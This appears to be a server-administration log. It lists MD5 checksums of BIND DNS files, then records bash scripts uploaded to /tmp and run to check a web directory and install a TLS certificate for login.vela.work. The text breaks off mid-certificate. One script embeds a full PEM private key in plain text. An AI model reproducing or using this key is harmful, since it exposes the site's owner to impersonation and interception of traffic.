MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-19 11:25:20: Establishing a connection
2026-06-19 11:25:20: Establishing a connection
2026-06-19 11:25:20: 

PUT: /tmp/pkp122451

#!/bin/bash
if [ -d "/var/www/vela_login/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-19 11:25:20: 

chmod 755 /tmp/pkp122451; /tmp/pkp122451; rm /tmp/pkp122451

2026-06-19 11:25:20: 


0


2026-06-19 11:25:39: Establishing a connection
2026-06-19 11:25:39: 

PUT: /tmp/pkp361692

#!/bin/bash
temp_file=$(mktemp)
TARGET=58d509bc8051d01cd9d10836cb4779a8.crt

cat > $temp_file <<'endmsg'
ef:9b:c8:c4:01:d1:9d:63:79:42:98:9d:7f:24:13:6a

-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBafiDnBkmdtt7+XXLUxxP5xRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjE5MTAyNzA4WhcNMjYwOTE3MTAyNzA3WjAaMRgwFgYDVQQD
Ew9sb2dpbi52ZWxhLndvcmswggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDYzq7wranAU68I3IEXU8SPOh2g1XyDJxh4Txv/mIfGEUhnH5wBdrACfnPCV37K
W0gLwYAGFmjzHI+BiA9sNaDEANrbbt/bdFy8SB3ZubBeRMgrFeYYqQh84BUt/tDO
XqINK8HD7yn8GbjqFmHlo1r6dXWgDp32SINav7EzXvixbLNVDWMcpLXx4DatZPqK
7NsN0hp8vhe9NHgGwc6X3LfFcdQoKvjDBtUpjFJCuY6PrQufyNHnwcKBi5+qZAgn
csNnp8/KV7AqiLdH6U2sXy0GQ4F235rFtyOgsfH46+Ya+E3vCXhZ+2MdIQufIEi1
bTSdM/vs4wIJKsl0TUGRmWpvAgMBAAGjggIfMIICGzAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUtq8E
dpFHUUgKMWMtpCm1/4qopLEwHwYDVR0jBBgwFoAUQBUtJnntMiCe35pyHdYyH4EM
gQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIyLmkubGVu
Y3Iub3JnLzAaBgNVHREEEzARgg9sb2dpbi52ZWxhLndvcmswEwYDVR0gBAwwCjAI
BgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMi5jLmxlbmNyLm9y
Zy84Mi5jcmwwggEOBgorBgEEAdZ5AgQCBIH/BIH8APoAdwDCMX5XRRmjRe5/ON6y
kEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ7foR2JAAAEAwBIMEYCIQDXwsaYRC+HO59x
Cr1CSS8poACjXKIbKUktPxuduv8C3QIhAICpklAZbuwfFIznpDA7v8IzEgASrQYJ
DUMd+tIslCZdAH8AbP5QGUOoXqkWvFLRM+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGe
36Ef9AAIAAAFABEpbuAEAwBIMEYCIQCi3pE/G9Soczs33EvpXve/JotV0Bi2Bk0f
zO1uYPgwBgIhALDczNGd6/up8TD5LtCbQgwtdnrLV2d1V3JXji4bFLsrMA0GCSqG
SIb3DQEBCwUAA4IBAQCPbDenvI/wBofQLSS3bBDIU/Om+tkombCAc3p9z7jyc2iJ
lrsgHpre0RXCyIrWeTMkyzODrgMsZsWRWlaoeqit8vINiyYXaRmfELFt/6Hq/HDN
57jW1Mwgjmke8vGahVKhziyVZlKONfNdHYajCYPuOL5ICt8T/2jNj94fyifqMkXD
Mw0u78OT/pVwZCJ23qmcK+WJX++c2/5IwzG45BJNp1wFxqxoVOIOJcYnamGg3X2Q
1kWVqS3nrIHvRkFBjEqqntm9TIZpAwFbgwD2KMiIm9H/wDnJ32rfy+v/IUYIJNwV
/IK2Nk6dpiwBlIdWSUicycHn3S1zT1+gfpDdZgu5
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDYzq7wranAU68I
3IEXU8SPOh2g1XyDJxh4Txv/mIfGEUhnH5wBdrACfnPCV37KW0gLwYAGFmjzHI+B
iA9sNaDEANrbbt/bdFy8SB3ZubBeRMgrFeYYqQh84BUt/tDOXqINK8HD7yn8Gbjq
FmHlo1r6dXWgDp32SINav7EzXvixbLNVDWMcpLXx4DatZPqK7NsN0hp8vhe9NHgG
wc6X3LfFcdQoKvjDBtUpjFJCuY6PrQufyNHnwcKBi5+qZAgncsNnp8/KV7AqiLdH
6U2sXy0GQ4F235rFtyOgsfH46+Ya+E3vCXhZ+2MdIQufIEi1bTSdM/vs4wIJKsl0
TUGRmWpvAgMBAAECggEARkRiZYXbbQaSRax1uFJBc+wxexWGB9nNb/yvxdyxMIwc
a7POc5j8fapvKS8DXGFOTeUWcaKkvBpnFmO7H+aXpr7iL9lU+0LQ5YL4Db9FfqAL
Qg+UZiyuoA5ePuyFz0TTf7JNWAv1DwxlJpU/gFY7383e5BOotZAV5n0XWN9wecv4
8gPFq3mHMrrm7uZ0uzyfZzMpb3EBs4O98T5ALyYsG83+Siah5ZQBJXRgyesdDiHx
4RgdNocP4K3z0QmZR4czyr8zQich7staJAtTbEwJGHh12YCwFwY8Fr/VoaR0QjFY
y+cK/PtYgsC3o4hxgXfo7rL0HdD4vMItWU0YomQYoQKBgQDtbrZoJcBbTlV4dtI+
rKi/nUQvDwodcYz/yl9YZJQi2u7FFJXoUlrmDbni7FyIj3J1auKD1ZbYrAfkOTuU
a2t3BV3Ngy4OeteNAZXvQI3e6z6AByOtwKo+AWBSY564dYBRrjPHiTKsHojpxt7N
L0VQA5yD0/frvwMHv2gS9e4gzwKBgQDpwxDPCtYfwm/sorP6nGazuXcBnaeGnB9+
lnNB91q928bPgpkq4XKS3y4JXr2ySaPrQRc79FWia54oQGs/u5CQ3EvN/X5Miuwx
WcpvcyVfSUazG6lrD8kCm9GLH9yE7axzJcwILva/zbynBXIJC4FPr0T11lbrbzYq
ALMkHdhEYQKBgDCKD7Re82I3M3X7JKQ3fBAgQI42TuUSD7dDUhaqCTbO9z1HJhZm
r7qUV8oydABfAxFKFqDJC5ukH8DiinGfPEsKx9B53vKK3oIvLs3IrrhB83cM/phI
6QTgFycAwrQHIYKRUHicbcWOQIM6atYbsdnXwymYLfj+BcqRsN8fc901AoGASngY
DL05BZkdqtcSWw4kMbEt1lfxHJLz/ZHUWfmA8Obo6QaD4QM9SsjKk7WY3QlUrQdp
bXIjLcD2+3+6Ku2H2n4zsAXHjH7dS8N9GBAoobhoS3rOeArpUGlvUdDuoXJN88jg
vOKpPOU/6j1z3KnLoiUF5QNJYWtmZ+8dIq5XTUECgYAYfr/3gw5DUSBcXUfng7ig
2j7hcXXK1vGL+NSrr77qNhIL5AJVfrEqJGlHeqJW1AshOAXSh0FVW83WKv8+wztd
r6BLpfy10eLkc2XMTtC2l6cOy3TF8HaAF13EzuEsqG/cfL6knEj+KaYHEGGCHNWJ
BkHY72Ww3rlp8OxHEeu2rg==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
